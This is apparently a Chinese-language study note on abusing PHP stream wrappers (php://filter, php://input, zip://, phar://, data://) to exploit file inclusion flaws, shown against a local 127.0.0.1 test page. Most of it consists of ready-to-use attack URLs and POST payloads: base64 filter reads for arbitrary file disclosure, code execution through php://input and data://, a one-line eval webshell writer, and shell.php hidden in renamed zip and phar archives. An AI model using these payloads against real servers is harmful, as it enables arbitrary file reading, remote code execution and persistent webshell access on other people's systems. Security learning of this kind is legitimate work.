跟**http://**一样,这是php的一个特定的协议格式,统称为伪协议,这是所有伪协议的父类
php:// 可用于以下目的:
设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取
两个用法本质一样
http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://127.0.0.1/include.php?filename=php://filter/convert.base64-encode/resource=phpinfo.php
可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分
php://input + [POST DATA]执行在post体中的php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
若有写入的权限,可以写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>
属于压缩流,php解压缩包的一个函数,不管后缀是什么,可修改为任意后缀像是jpg png gif,都会当做压缩包来解压。
#
在浏览器中要编码为%23
,否则浏览器默认不会传输特殊字符。?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)
压缩shell.php为shell.zip,压缩包重命名为shell.jpg,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\shell.jpg%23shell.php
与zip://类似,同样可以访问zip格式压缩包内容
另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术,因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。
利用 phar 拓展 php 反序列化漏洞攻击面
?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
压缩shell.php为shell.zip,压缩包重命名为shell.png,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=phar://E:\phpStudy\PHPTutorial\WWW\shell.png/shell.php
数据流封装器,和php:/相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b